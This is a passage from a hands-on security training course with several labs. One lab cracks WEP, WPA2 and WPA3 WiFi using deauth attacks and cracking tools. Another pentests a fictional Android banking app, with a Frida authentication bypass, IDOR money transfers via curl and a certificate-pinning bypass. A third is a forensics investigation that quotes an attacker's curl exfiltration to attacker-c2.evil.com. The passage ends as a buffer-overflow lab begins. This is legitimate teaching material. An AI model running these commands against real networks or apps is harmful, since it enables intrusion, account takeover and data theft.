Reading packets, please wait... # # 1 potential targets # # # BSSID ESSID Encryption # 1 A2:B3:C4:D5:E6:F7 MyHomeWiFi WPA (1 handshake) # Handshake confirmed! # Step 11: Crack with aircrack-ng (CPU-based) sudo aircrack-ng -w /usr/share/wordlists/rockyou.txt wpa2_capture-01.cap # Output: # Aircrack-ng 1.6 # # [00:05:42] 1847232/14344392 keys tested (5421.83 k/s) # # KEY FOUND! [ MySecurePassword2023! ] # # Master Key: A1 B2 C3 D4 E5 F6 G7 H8 I9 J0 K1 L2 M3 N4 O5 P6 # # Transient Key: P1 O2 N3 M4 L5 K6 J7 I8 H9 G0 F1 E2 D3 C2 B1 A0 # OR use hashcat (GPU-accelerated, MUCH faster) # Step 12: Convert to hashcat format hcxpcapngtool -o wpa2_hash.hc22000 wpa2_capture-01.cap # Step 13: Crack with hashcat hashcat -m 22000 wpa2_hash.hc22000 /usr/share/wordlists/rockyou.txt # Output: # Session..........: hashcat # Status...........: Cracked # Hash.Mode........: 22000 (WPA-PBKDF2-PMKID+EAPOL) # Hash.Target......: wpa2_hash.hc22000 # Time.Started.....: Mon Jan 01 12:00:00 2024 # Time.Estimated...: Mon Jan 01 12:03:42 2024 (3 mins 42 secs) # Kernel.Feature...: Pure Kernel # Guess.Base.......: File (/usr/share/wordlists/rockyou.txt) # Speed.#1.........: 125.4 kH/s (95.42ms) # Recovered........: 1/1 (100.00%) Digests # Progress.........: 23456789/14344392 (163.55%) # # A2B3C4D5E6F7:C1D2E3F4A5B6:A2B3C4D5E6F7:MyHomeWiFi:MySecurePassword2023! # 🎯 WPA2 cracked! # ================================================== # NETWORK 3: WPA3 ATTACK (DRAGONBLOOD) # ================================================== # Target: "SecureNetwork" (WPA3-SAE) # Modern, but vulnerable to Dragonblood attacks # Step 14: Scan for WPA3 sudo airodump-ng wlan0mon | grep SAE # Output: # A3:B4:C5:D6:E7:F8 -52 12 2 0 1 54e WPA3 CCMP SAE SecureNetwork # Step 15: Capture SAE handshake sudo airodump-ng -c 1 --bssid A3:B4:C5:D6:E7:F8 -w wpa3_capture wlan0mon # Deauth client to capture handshake: sudo aireplay-ng -0 3 -a A3:B4:C5:D6:E7:F8 wlan0mon # Step 16: Dragonblood attack (timing-based) # Tool: dragonslayer git clone https://github.com/vanhoefm/dragonslayer.git cd dragonslayer # Run attack: ./dragonslayer.py --interface wlan0mon --bssid A3:B4:C5:D6:E7:F8 # This exploits timing leaks in SAE handshake # Attack reveals password character by character # Takes MUCH longer than WPA2 (hours to days) # Alternative: Downgrade attack # Some WPA3 routers support WPA2 fallback # Force AP to use WPA2, then crack normally # Tool: wpa_supplicant with sae_pwe=0 # Forces transition mode → WPA2 handshake possible # Step 17: Convert WPA3 capture for hashcat # If downgrade successful: hcxpcapngtool -o wpa3_hash.hc22000 wpa3_capture-01.cap hashcat -m 22000 wpa3_hash.hc22000 rockyou.txt # ================================================== # CLEANUP & LESSONS LEARNED # ================================================== # Disable monitor mode: sudo airmon-ng stop wlan0mon # ✅ WEP: Completely broken, crack in minutes with enough IVs # ✅ WPA2: Dictionary attack, success depends on password strength # ✅ WPA3: Much harder, requires advanced attacks or misconfigurations # ✅ Deauth attacks: Force clients to reconnect, capture handshakes # ✅ GPU cracking: 100x faster than CPU for WPA2 # ✅ Monitor mode: Essential for WiFi hacking (not all adapters support it!) # ✅ Legal warning: ONLY test networks you own or have permission! # Recommended WiFi adapters: # - ALFA AWUS036NHA (Atheros AR9271) - $40, excellent # - TP-Link TL-WN722N v1 (NOT v2/v3!) - Cheap, works great # - Panda PAU09 - Good for beginners # - ALFA AWUS1900 - Dual-band, expensive but powerful # Attack summary: # Network 1 (WEP): Captured 47,000 IVs → Cracked in 2 minutes # Network 2 (WPA2): Captured handshake → Cracked with hashcat in 3.5 minutes (weak password!) # Network 3 (WPA3): Downgrade → WPA2 → Cracked (or Dragonblood for days) # Time taken: ~3 hours # Difficulty: Beginner (WEP/WPA2), Intermediate (WPA3)

Lab 4: Mobile Application Penetration Test (Android APK)

📋 Lab Overview

Target: BankingApp.apk (fictional vulnerable banking app)
Goal: Find hardcoded secrets, bypass authentication, exploit API endpoints
Difficulty: Intermediate
Skills tested: APK decompilation, code review, API testing, certificate pinning bypass
Time estimate: 3-4 hours
Tools used: apktool, jadx, ADB, Burp Suite, Frida, objection
Requirements: Android device/emulator

# ================================================== # PHASE 1: APK ACQUISITION & ANALYSIS # ================================================== # Scenario: Client provided BankingApp.apk for security assessment # Step 1: File information file BankingApp.apk # Output: # BankingApp.apk: Zip archive data, at least v2.0 to extract # APK is just a ZIP file! unzip -l BankingApp.apk | head -20 # Output: # Archive: BankingApp.apk # Length Date Time Name # --------- ---------- ----- ---- # 1234 2024-01-01 12:00 AndroidManifest.xml # 45678 2024-01-01 12:00 classes.dex # 12345 2024-01-01 12:00 resources.arsc # 5678 2024-01-01 12:00 res/drawable/icon.png # 890 2024-01-01 12:00 META-INF/MANIFEST.MF # 456 2024-01-01 12:00 META-INF/CERT.SF # 1234 2024-01-01 12:00 META-INF/CERT.RSA # Step 2: Decompile with apktool apktool d BankingApp.apk -o BankingApp_decompiled # Output: # I: Using Apktool 2.7.0 # I: Loading resource table... # I: Decoding AndroidManifest.xml with resources... # I: Loading resource table from file: /home/kali/.local/share/apktool/framework/1.apk # I: Regular manifest package... # I: Decoding file-resources... # I: Decoding values */* XMLs... # I: Baksmaling classes.dex... # I: Copying assets and libs... # I: Copying unknown files... # I: Copying original files... cd BankingApp_decompiled ls # Output: # AndroidManifest.xml # apktool.yml # original/ # res/ # smali/ ← Smali bytecode (hard to read) # unknown/ # Step 3: Decompile to Java with jadx jadx BankingApp.apk -d BankingApp_java # Output: # INFO - loading ... # INFO - processing ... # INFO - done cd BankingApp_java ls # Output: # resources/ # sources/ ← Java source code! cd sources/com/example/bankingapp ls # Output: # MainActivity.java # LoginActivity.java # TransferActivity.java # ApiClient.java # Utils.java # Constants.java # ================================================== # PHASE 2: STATIC ANALYSIS (CODE REVIEW) # ================================================== # Step 4: Examine AndroidManifest.xml cat ../../../BankingApp_decompiled/AndroidManifest.xml # Key findings: # # # # # # # # # # ⚠️ Exported activities: Accessible from other apps! # ⚠️ BackgroundService exported: Can be called externally! # ⚠️ External storage permissions: Potential data leakage # Step 5: Search for hardcoded secrets grep -r "password" . | grep -v ".git" # Output: # ./Constants.java: public static final String DEFAULT_PASSWORD = \"admin123\"; # ./Utils.java: String password = \"hardcoded_api_key_abc123xyz\"; # ./ApiClient.java: private static final String API_KEY = \"sk_live_abc123def456\"; # 🎯 Found hardcoded credentials! cat Constants.java # Output: package com.example.bankingapp; public class Constants { public static final String API_BASE_URL = \"https://api.bankingapp.com/v1/\"; public static final String DEFAULT_USERNAME = \"admin\"; public static final String DEFAULT_PASSWORD = \"admin123\"; public static final String ENCRYPTION_KEY = \"MyS3cr3tK3y!2024\"; public static final boolean DEBUG_MODE = true; # ← Debug enabled in production! } # Step 6: Examine authentication logic cat LoginActivity.java # Simplified code: public class LoginActivity extends AppCompatActivity { @Override protected void onCreate(Bundle savedInstanceState) { super.onCreate(savedInstanceState); setContentView(R.layout.activity_login); Button loginButton = findViewById(R.id.loginButton); loginButton.setOnClickListener(new View.OnClickListener() { @Override public void onClick(View v) { String username = usernameField.getText().toString(); String password = passwordField.getText().toString(); // ⚠️ Client-side authentication! if (username.equals(\"admin\") && password.equals(\"admin123\")) { Intent intent = new Intent(LoginActivity.this, MainActivity.class); startActivity(intent); } else { Toast.makeText(LoginActivity.this, \"Invalid credentials\", Toast.LENGTH_SHORT).show(); } } }); } } # 🚨 CRITICAL: Authentication done client-side! # No server validation, credentials hardcoded # Step 7: Find API endpoints cat ApiClient.java # Output: public class ApiClient { private static final String API_BASE_URL = \"https://api.bankingapp.com/v1/\"; private static final String API_KEY = \"sk_live_abc123def456\"; public void getBalance(String accountId) { String url = API_BASE_URL + \"balance/\" + accountId; // GET request without authentication } public void transfer(String from, String to, double amount) { String url = API_BASE_URL + \"transfer\"; JSONObject body = new JSONObject(); body.put(\"from\", from); body.put(\"to\", to); body.put(\"amount\", amount); body.put(\"api_key\", API_KEY); # ← API key in request body! // POST request } public void adminPanel() { String url = API_BASE_URL + \"admin/users\"; // Hidden admin endpoint! } } # 🎯 Found API endpoints: # - /v1/balance/:accountId # - /v1/transfer # - /v1/admin/users # ================================================== # PHASE 3: DYNAMIC ANALYSIS (RUNTIME TESTING) # ================================================== # Step 8: Install APK on device/emulator adb devices # Output: # List of devices attached # emulator-5554 device adb install BankingApp.apk # Output: # Performing Streamed Install # Success # Step 9: Launch app adb shell am start -n com.example.bankingapp/.LoginActivity # App opens on device! # Step 10: Intercept traffic with Burp Suite # A) Configure device proxy: adb shell settings put global http_proxy 192.168.1.10:8080 # B) Install Burp CA certificate on device: # Export Burp cert: Proxy → Options → Export CA certificate → DER format # Convert to PEM: openssl x509 -inform DER -in burp_cert.der -out burp_cert.pem # Calculate hash: openssl x509 -inform PEM -subject_hash_old -in burp_cert.pem | head -1 # Output: 9a5ba575 # Rename: mv burp_cert.pem 9a5ba575.0 # Push to device: adb root adb remount adb push 9a5ba575.0 /system/etc/security/cacerts/ adb shell chmod 644 /system/etc/security/cacerts/9a5ba575.0 adb reboot # C) Burp Suite should now intercept app traffic! # Step 11: Test hardcoded bypass # Try logging in with admin:admin123 # Burp intercepts: POST /v1/login HTTP/1.1 Host: api.bankingapp.com Content-Type: application/json { \"username\": \"admin\", \"password\": \"admin123\" } # But wait - earlier code showed client-side auth! # App doesn't even send login request to server # Just checks credentials locally # Bypass: # Option 1: Patch APK to skip login check # Option 2: Use Frida to hook authentication method # ================================================== # PHASE 4: FRIDA HOOKING (BYPASS AUTHENTICATION) # ================================================== # Step 12: Install Frida pip3 install frida-tools # Download frida-server for Android: wget https://github.com/frida/frida/releases/download/16.0.19/frida-server-16.0.19-android-x86_64.xz unxz frida-server-16.0.19-android-x86_64.xz mv frida-server-16.0.19-android-x86_64 frida-server # Push to device: adb push frida-server /data/local/tmp/ adb shell chmod 755 /data/local/tmp/frida-server # Run frida-server: adb shell "/data/local/tmp/frida-server &" # Step 13: List running apps frida-ps -U # Output: # PID Name # ----- ---- # 1234 com.example.bankingapp # 5678 com.android.systemui # Step 14: Create Frida script to bypass authentication cat > bypass_auth.js <<'EOF' Java.perform(function() { console.log("[*] Starting authentication bypass script..."); // Hook LoginActivity.onClick method var LoginActivity = Java.use(\"com.example.bankingapp.LoginActivity\"); LoginActivity.onClick.implementation = function(view) { console.log(\"[*] onClick method called!\"); console.log(\"[*] Bypassing authentication check...\"); // Always authenticate successfully var Intent = Java.use(\"android.content.Intent\"); var intent = Intent.$new(this.context, Java.use(\"com.example.bankingapp.MainActivity\").class); this.startActivity(intent); console.log(\"[+] Authentication bypassed! Redirecting to MainActivity\"); }; console.log(\"[+] Hook installed successfully!\"); }); EOF # Step 15: Run Frida script frida -U -f com.example.bankingapp -l bypass_auth.js --no-pause # Output: # [*] Starting authentication bypass script... # [+] Hook installed successfully! # Now try logging in with ANY credentials → Always works! # ================================================== # PHASE 5: API TESTING # ================================================== # Step 16: Test balance endpoint # From ApiClient.java: GET /v1/balance/:accountId curl -X GET "https://api.bankingapp.com/v1/balance/1001" \\ -H "X-API-Key: sk_live_abc123def456" # Response: { \"account_id\": \"1001\", \"balance\": 5000.00, \"currency\": \"USD\" } # ✅ API accepts hardcoded key! # Step 17: Test IDOR (Insecure Direct Object Reference) # Try accessing other users' balances: curl -X GET "https://api.bankingapp.com/v1/balance/1002" \\ -H "X-API-Key: sk_live_abc123def456" # Response: { \"account_id\": \"1002\", \"balance\": 10000.00, \"currency\": \"USD\" } # 🚨 CRITICAL: Can view any user's balance! # Step 18: Test transfer endpoint curl -X POST "https://api.bankingapp.com/v1/transfer" \\ -H "Content-Type: application/json" \\ -d '{ \"from\": \"1002\", \"to\": \"1001\", \"amount\": 1000, \"api_key\": \"sk_live_abc123def456\" }' # Response: { \"status\": \"success\", \"transaction_id\": \"TXN123456\", \"message\": \"Transfer completed\" } # 🚨 CRITICAL: Can transfer money from ANY account! # No validation of account ownership # Step 19: Test admin endpoint curl -X GET "https://api.bankingapp.com/v1/admin/users" \\ -H "X-API-Key: sk_live_abc123def456" # Response: { \"users\": [ {\"id\": 1001, \"username\": \"user1\", \"email\": \"user1@example.com\"}, {\"id\": 1002, \"username\": \"user2\", \"email\": \"user2@example.com\"}, {\"id\": 1003, \"username\": \"admin\", \"email\": \"admin@bankingapp.com\"} ] } # 🚨 CRITICAL: Admin endpoint accessible with regular API key! # ================================================== # PHASE 6: CERTIFICATE PINNING BYPASS # ================================================== # Some apps implement certificate pinning: # App only trusts specific SSL certificates # Prevents MITM attacks (Burp Suite interception) # Step 20: Check for certificate pinning # Look in decompiled code for: # - OkHttp CertificatePinner # - TrustManager implementations # - SSL pinning keywords grep -r "CertificatePinner" BankingApp_java/sources/ # Found in NetworkModule.java: CertificatePinner certificatePinner = new CertificatePinner.Builder() .add(\"api.bankingapp.com\", \"sha256/AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA=\") .build(); # Certificate pinning detected! # Step 21: Bypass with Frida + objection pip3 install objection # Launch app with objection: objection -g com.example.bankingapp explore # Inside objection: android sslpinning disable # Output: # (agent) [3r4nklgt1o7] Custom TrustManager ready # (agent) [3r4nklgt1o7] Hooking OkHTTP3 # (agent) [3r4nklgt1o7] Hooking Apache HttpClient # (agent) [3r4nklgt1o7] Hooking WebView # (agent) Monitoring SSL pinning # Now Burp Suite intercepts traffic even with pinning! # ================================================== # PHASE 7: REPORT FINDINGS # ================================================== # Critical vulnerabilities found: # 1. ⚠️ CRITICAL - Hardcoded Credentials # Location: Constants.java # Impact: Default admin credentials exposed # Fix: Remove hardcoded credentials, use secure storage # 2. ⚠️ CRITICAL - Client-Side Authentication # Location: LoginActivity.java # Impact: Authentication bypass via code modification/Frida # Fix: Implement server-side authentication # 3. ⚠️ CRITICAL - Hardcoded API Key # Location: ApiClient.java, Utils.java # Impact: API key compromise, unauthorized access # Fix: Use secure key storage (Android Keystore) # 4. ⚠️ CRITICAL - IDOR Vulnerability # Endpoints: /v1/balance/:id, /v1/transfer # Impact: Access any user's data, unauthorized transfers # Fix: Implement proper authorization checks # 5. ⚠️ HIGH - Exposed Admin Endpoint # Endpoint: /v1/admin/users # Impact: User enumeration, privilege escalation # Fix: Add admin-specific authentication # 6. ⚠️ MEDIUM - Debug Mode Enabled # Location: Constants.java # Impact: Verbose logging may expose sensitive data # Fix: Disable debug mode in production builds # 7. ⚠️ MEDIUM - Excessive Permissions # Location: AndroidManifest.xml # Impact: Unnecessary access to external storage # Fix: Remove unused permissions # 8. ⚠️ LOW - Certificate Pinning Present (but bypassable) # Location: NetworkModule.java # Impact: Can be bypassed with Frida # Fix: Implement root/tamper detection # ================================================== # LESSONS LEARNED # ================================================== # ✅ APK = ZIP file, easily decompilable # ✅ Always check for hardcoded secrets (grep -r \"password\", \"api_key\", \"secret\") # ✅ Client-side checks are NOT security controls # ✅ Frida = Powerful for runtime manipulation # ✅ Certificate pinning can be bypassed (objection, Frida, Xposed) # ✅ IDOR vulnerabilities common in mobile APIs # ✅ Mobile apps often have weaker security than web apps # ✅ Always test both static (code) and dynamic (runtime) analysis # Mobile security checklist: # ☐ Decompile APK (apktool, jadx) # ☐ Search for hardcoded secrets # ☐ Review AndroidManifest.xml permissions # ☐ Check for exported components # ☐ Test authentication/authorization # ☐ Intercept network traffic (Burp Suite) # ☐ Test API endpoints (Postman, curl) # ☐ Check for IDOR/BOLA vulnerabilities # ☐ Test certificate pinning bypass # ☐ Check for root detection (if present, bypass) # ☐ Test data storage (SharedPreferences, SQLite databases) # ☐ Review WebView implementations # ☐ Test for insecure data storage # Time taken: ~4 hours # Difficulty: Intermediate (requires Android knowledge)

Lab 5: Complete Forensics Investigation (Digital Evidence Analysis)

📋 Lab Overview

Target: Disk image from compromised system
Goal: Determine how attacker gained access, what was stolen, establish timeline
Difficulty: Intermediate
Skills tested: Disk forensics, memory analysis, timeline creation, artifact analysis
Time estimate: 4-5 hours
Tools used: Autopsy, Volatility, Sleuthkit, ExifTool, Wireshark, Timeline Explorer
Requirements: Disk image (compromised_system.dd), memory dump (memory.raw)

# ================================================== # SCENARIO: INCIDENT RESPONSE # ================================================== # Call received: "Our employee's laptop was compromised. We isolated it # and created a disk image + memory dump. Need to know: # 1. How did attacker get in? # 2. What data was accessed/exfiltrated? # 3. Is attacker still present?" # Files provided: # - compromised_system.dd (100GB disk image) # - memory.raw (8GB memory dump) # - network_capture.pcap (packet capture during incident) # Timeline: System compromised on 2024-01-15, discovered on 2024-01-18 # ================================================== # PHASE 1: DISK IMAGE ANALYSIS # ================================================== # Step 1: Verify image integrity sha256sum compromised_system.dd # Output: # abc123def456... compromised_system.dd # Document hash for evidence chain of custody # Step 2: Mount image (read-only!) sudo mkdir /mnt/evidence sudo mount -o ro,loop,noexec compromised_system.dd /mnt/evidence # Step 3: Initial reconnaissance ls -la /mnt/evidence # Output: # bin/ # boot/ # dev/ # etc/ # home/ # usr/ # var/ # # Looks like Linux system (Ubuntu) # Check OS version: cat /mnt/evidence/etc/os-release # Output: # NAME=\"Ubuntu\" # VERSION=\"22.04.1 LTS\" # ID=ubuntu # Step 4: Identify users cat /mnt/evidence/etc/passwd | grep -v nologin # Output: # root:x:0:0:root:/root:/bin/bash # jsmith:x:1000:1000:John Smith:/home/jsmith:/bin/bash # Primary user: jsmith (UID 1000) # ================================================== # PHASE 2: TIMELINE CREATION # ================================================== # Step 5: Create comprehensive timeline # (MACB times: Modified, Accessed, Changed, Birth) fls -r -m / /mnt/evidence > timeline_bodyfile.txt # Parse with mactime: mactime -b timeline_bodyfile.txt -d > timeline_full.csv # Filter to incident window (2024-01-15 to 2024-01-18): grep "2024-01-1[5-8]" timeline_full.csv > timeline_incident.csv # Step 6: Analyze timeline with Timeline Explorer # (Import timeline_incident.csv into Timeline Explorer or Excel) # Key findings from timeline: # 2024-01-15 14:23:15 - /home/jsmith/Downloads/invoice.pdf.exe (CREATED) # 2024-01-15 14:24:03 - /home/jsmith/Downloads/invoice.pdf.exe (EXECUTED) # 2024-01-15 14:24:15 - /tmp/.hidden_backdoor (CREATED) # 2024-01-15 14:24:18 - /home/jsmith/.bash_history (MODIFIED) # 2024-01-15 14:25:00 - /var/log/auth.log (MODIFIED) # 2024-01-15 14:30:12 - /home/jsmith/Documents/*.docx (ACCESSED) # 2024-01-15 14:35:45 - /home/jsmith/Documents/exfil.zip (CREATED) # 2024-01-15 14:36:12 - /var/log/syslog (MODIFIED) # 🎯 Initial vector: invoice.pdf.exe (malicious executable) # ================================================== # PHASE 3: MALWARE ANALYSIS # ================================================== # Step 7: Extract malicious file cp /mnt/evidence/home/jsmith/Downloads/invoice.pdf.exe malware_sample.exe # NEVER run unknown executables! # Step 8: Basic static analysis file malware_sample.exe # Output: # malware_sample.exe: ELF 64-bit LSB executable, x86-64 # It's a Linux binary (not Windows .exe despite extension!) strings malware_sample.exe | grep -i http # Output: # http://attacker-c2.evil.com:4444 # POST /upload # GET /command # 🎯 C2 server: attacker-c2.evil.com:4444 # Check for packing/obfuscation: upx -t malware_sample.exe # Output: # upx: malware_sample.exe: NotPackedException: not packed by UPX # Not UPX-packed # Calculate hashes: md5sum malware_sample.exe sha256sum malware_sample.exe # Check VirusTotal: # (Upload hashes, not file itself to avoid leaking evidence) # Or use API: curl -X POST 'https://www.virustotal.com/vtapi/v2/file/report' \\ -d apikey=YOUR_API_KEY \\ -d resource=SHA256_HASH # Step 9: Dynamic analysis (sandbox) # Upload to any.run, hybrid-analysis.com, or local Cuckoo sandbox # Findings from sandbox: # - Connects to attacker-c2.evil.com:4444 # - Creates /tmp/.hidden_backdoor # - Modifies .bash_history (anti-forensics) # - Searches for document files # - Compresses documents into exfil.zip # - Attempts to upload exfil.zip to C2 # ================================================== # PHASE 4: USER ACTIVITY ANALYSIS # ================================================== # Step 10: Check bash history cat /mnt/evidence/home/jsmith/.bash_history # Output: # cd Downloads # ls -la # chmod +x invoice.pdf.exe # ./invoice.pdf.exe # ← User executed malware! # # Attacker commands below: # whoami # id # uname -a # cat /etc/passwd # find /home -name "*.docx" -o -name "*.pdf" # zip -r /home/jsmith/Documents/exfil.zip /home/jsmith/Documents/ # curl -X POST -F "file=@/home/jsmith/Documents/exfil.zip" http://attacker-c2.evil.com:4444/upload # rm exfil.zip # history -c # ← Attempted to clear history (didn't work completely) # 🎯 Attacker commands documented! # Step 11: Check browser history # Firefox: sqlite3 /mnt/evidence/home/jsmith/.mozilla/firefox/*/places.sqlite \\ "SELECT datetime(visit_date/1000000,'unixepoch'), url FROM moz_places, moz_historyvisits WHERE moz_places.id = moz_historyvisits.place_id ORDER BY visit_date DESC LIMIT 20;" # Output: # 2024-01-15 14:20:00|https://mail.google.com # 2024-01-15 14:21:35|https://drive.google.com/file/d/abc123/download # ← Malware download # 2024-01-15 14:22:15|https://github.com # ... # 🎯 Malware downloaded from Google Drive link! # Step 12: Check email # (Requires email client data or webmail analysis) # If Thunderbird: grep -r "invoice" /mnt/evidence/home/jsmith/.thunderbird/ # Or extract from mail spool: strings /mnt/evidence/var/mail/jsmith | grep -A 10 "Subject: Invoice" # Email found: # From: finance@fake-vendor.com # To: jsmith@company.com # Subject: URGENT: Unpaid Invoice #12345 # # Dear John, # # Your account has an unpaid invoice. Please review the attached invoice immediately. # # Download invoice: https://drive.google.com/file/d/abc123/download # # Regards, # Finance Department # 🎯 Phishing email → User clicked malicious link # ================================================== # PHASE 5: NETWORK TRAFFIC ANALYSIS # ================================================== # Step 13: Analyze packet capture wireshark network_capture.pcap & # Or CLI with tshark: tshark -r network_capture.pcap -Y "http" -T fields -e frame.time -e ip.src -e ip.dst -e http.request.uri # Findings: # 2024-01-15 14:24:05 10.0.0.50 185.123.45.67 GET /payload.bin # 2024-01-15 14:24:15 10.0.0.50 185.123.45.67 POST /register # 2024-01-15 14:30:00 10.0.0.50 185.123.45.67 GET /command # 2024-01-15 14:35:50 10.0.0.50 185.123.45.67 POST /upload (2.3MB) # 185.123.45.67 = attacker-c2.evil.com # Step 14: Extract uploaded file from PCAP tshark -r network_capture.pcap -Y "http.request.method == POST and http.request.uri == /upload" -T fields -e http.file_data | xxd -r -p > recovered_exfil.zip # Verify: file recovered_exfil.zip # Output: Zip archive data unzip -l recovered_exfil.zip # Output: # Archive: recovered_exfil.zip # Length Date Time Name # --------- ---------- ----- ---- # 123456 2024-01-15 14:35 Q4_Financial_Report.docx # 45678 2024-01-15 14:35 Customer_Database.xlsx # 78901 2024-01-15 14:35 Employee_SSNs.pdf # 3456 2024-01-15 14:35 Company_Secrets.txt # 🎯 CRITICAL: Sensitive company data exfiltrated! # ================================================== # PHASE 6: MEMORY ANALYSIS # ================================================== # Step 15: Analyze memory dump with Volatility volatility3 -f memory.raw windows.info # Wait, error: "Unable to find Windows structures" # Try Linux: volatility3 -f memory.raw linux.bash # Output: # Pid Process CommandTime Command # 1234 bash 2024-01-15 14:24:03 ./invoice.pdf.exe # 1234 bash 2024-01-15 14:25:15 whoami # 1234 bash 2024-01-15 14:26:00 find /home -name "*.docx" # ✅ Confirmed attacker commands in memory # Step 16: Extract network connections volatility3 -f memory.raw linux.pslist # Output: # PID PPID COMM # 1234 1000 bash # 5678 1234 .hidden_backdoor # Process 5678 = Backdoor! volatility3 -f memory.raw linux.netstat # Output: # Proto Local Address Foreign Address State PID # TCP 10.0.0.50:45123 185.123.45.67:4444 ESTABLISHED 5678 # ✅ Active C2 connection at time of memory capture! # Step 17: Dump suspicious process volatility3 -f memory.raw -o /tmp/dump linux.proc.Maps --pid 5678 # Extract binary: volatility3 -f memory.raw linux.elfdump --pid 5678 -o /tmp/dump # Compare with disk artifact: diff /tmp/.hidden_backdoor /tmp/dump/5678.elf # ✅ Same backdoor running in memory # ================================================== # PHASE 7: PERSISTENCE MECHANISMS # ================================================== # Step 18: Check for persistence # Common locations: # Cron jobs: cat /mnt/evidence/var/spool/cron/crontabs/jsmith # Output: # @reboot /tmp/.hidden_backdoor & # ← Persistence! # Systemd services: ls /mnt/evidence/etc/systemd/system/ # Output: # backdoor.service # ← Found malicious service! cat /mnt/evidence/etc/systemd/system/backdoor.service # Output: [Unit] Description=System Update Service After=network.target [Service] ExecStart=/tmp/.hidden_backdoor Restart=always User=root # ← Running as root! [Install] WantedBy=multi-user.target # 🚨 CRITICAL: Backdoor configured to run as root at boot! # SSH keys: cat /mnt/evidence/home/jsmith/.ssh/authorized_keys # Output: # (Normal keys...) # ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ... attacker@evil # ← Attacker's SSH key! # 🚨 Attacker added SSH key for persistent access! # ================================================== # PHASE 8: DATA EXFILTRATION ASSESSMENT # ================================================== # Step 19: Identify all accessed sensitive files grep "2024-01-15" timeline_incident.csv | grep ACCESSED | grep -i "document\\|financial\\|secret\\|confidential" # Files accessed: # /home/jsmith/Documents/Q4_Financial_Report.docx # /home/jsmith/Documents/Customer_Database.xlsx # /home/jsmith/Documents/Employee_SSNs.pdf # /home/jsmith/Desktop/Company_Secrets.txt # Step 20: Check file metadata exiftool /mnt/evidence/home/jsmith/Documents/Q4_Financial_Report.docx # Output: # File Name: Q4_Financial_Report.docx # File Size: 123 kB # File Modified Date: 2024-01-15 14:30:12 # File Accessed Date: 2024-01-15 14:30:12 # ← Accessed during incident # Author: John Smith # Company: VictimCompany Inc. # Subject: Q4 2023 Financial Results - CONFIDENTIAL # Step 21: Search for other exfiltration attempts grep -r "curl\\|wget\\|scp\\|ftp" /mnt/evidence/home/jsmith/.bash_history # Found: # curl -X POST -F "file=@/home/jsmith/Documents/exfil.zip" http://attacker-c2.evil.com:4444/upload # Only one exfiltration attempt detected # ================================================== # PHASE 9: INDICATORS OF COMPROMISE (IOCs) # ================================================== # Compile IOCs for threat hunting: # File Hashes: # - invoice.pdf.exe: SHA256: abc123... # - .hidden_backdoor: SHA256: def456... # Network IOCs: # - IP: 185.123.45.67 (attacker-c2.evil.com) # - Port: 4444/TCP # - URL: http://attacker-c2.evil.com:4444/upload # - Google Drive link: https://drive.google.com/file/d/abc123/ # Email IOCs: # - Sender: finance@fake-vendor.com # - Subject: URGENT: Unpaid Invoice #12345 # File IOCs: # - /tmp/.hidden_backdoor # - /etc/systemd/system/backdoor.service # - Cron job: /var/spool/cron/crontabs/jsmith # - SSH key in authorized_keys # Registry changes (if Windows): # N/A (Linux system) # ================================================== # PHASE 10: INCIDENT REPORT # ================================================== # EXECUTIVE SUMMARY: # On January 15, 2024, employee John Smith received a phishing email # containing a malicious link disguised as an invoice. Upon clicking, # malware was downloaded and executed, establishing command-and-control # communication with attacker infrastructure. The attacker enumerated # the system, located sensitive documents, and successfully exfiltrated # 2.3MB of confidential data including financial reports, customer # databases, and employee records. Persistence mechanisms were installed # including cron jobs, systemd services, and SSH backdoor. The compromise # remained undetected for 3 days until anomalous network activity # triggered an alert. # TIMELINE: # Jan 15, 14:21 - Phishing email received # Jan 15, 14:23 - User downloads malware (invoice.pdf.exe) # Jan 15, 14:24 - User executes malware # Jan 15, 14:24 - C2 connection established # Jan 15, 14:25 - Attacker reconnaissance (whoami, uname, etc.) # Jan 15, 14:30 - Attacker locates sensitive files # Jan 15, 14:35 - Data exfiltration (2.3MB zip file uploaded) # Jan 15, 14:36 - Persistence mechanisms installed # Jan 18, 09:00 - Anomalous traffic detected, incident response initiated # IMPACT: # ⚠️ HIGH - Confidential financial data exfiltrated # ⚠️ HIGH - Customer PII (database with SSNs) compromised # ⚠️ HIGH - Persistent backdoor with root access installed # ⚠️ MEDIUM - Employee productivity loss during investigation # ⚠️ LOW - No evidence of lateral movement to other systems # RECOMMENDATIONS: # 1. Immediately block IOCs (IPs, domains, hashes) at firewall/proxy # 2. Revoke John Smith's credentials and issue new ones # 3. Rebuild compromised system from clean image # 4. Conduct threat hunting across entire network using IOCs # 5. Implement email security training (anti-phishing) # 6. Deploy EDR solution for better detection # 7. Implement email gateway with attachment sandboxing # 8. Enable MFA for all accounts # 9. Restrict executable files in Downloads directory # 10. Notify affected customers per breach notification laws # ================================================== # LESSONS LEARNED # ================================================== # ✅ Always verify image integrity (hashes) # ✅ Mount images read-only to preserve evidence # ✅ Timeline analysis reveals attack progression # ✅ Browser/email history shows initial infection vector # ✅ Bash history documents attacker actions # ✅ Network capture confirms exfiltration # ✅ Memory analysis finds active threats # ✅ Check ALL persistence locations (cron, systemd, SSH, etc.) # ✅ Calculate hashes for all malicious files (IOCs) # ✅ Document entire chain of custody # Forensics workflow summary: # 1. Acquire evidence (disk image, memory dump, network capture) # 2. Verify integrity (hashes, write-blockers) # 3. Create timeline (MACB times, log correlation) # 4. Identify initial vector (phishing email, download) # 5. Analyze malware (static + dynamic analysis) # 6. Review user activity (browser, email, bash history) # 7. Examine network traffic (C2 communications, exfiltration) # 8. Analyze memory (running processes, network connections) # 9. Find persistence mechanisms (cron, services, SSH keys) # 10. Assess data exfiltration (what was stolen?) # 11. Compile IOCs (hashes, IPs, domains) # 12. Write comprehensive report # Time taken: ~5 hours # Difficulty: Intermediate (requires forensics knowledge)

Lab 6: Complete Buffer Overflow Exploitation (Binary Exploitation)

Scenario: You've discovered a vulnerable Linux binary running as a SUID root program. It has a stack-based buffer overflow. Your mission: develop a working exploit that spawns a root shell. This lab teaches memory corruption, shellcode injection, and return address overwrit ing—foundation skills for exploit development!

Prerequisites

• Basic understanding of C programming
• Familiarity with x86/x64 assembly (registers, stack, instructions)
• GDB debugging basics
• Linux command line proficiency
• Python scripting (for exploit development)

Step 1: Environment Setup & Binary Analysis

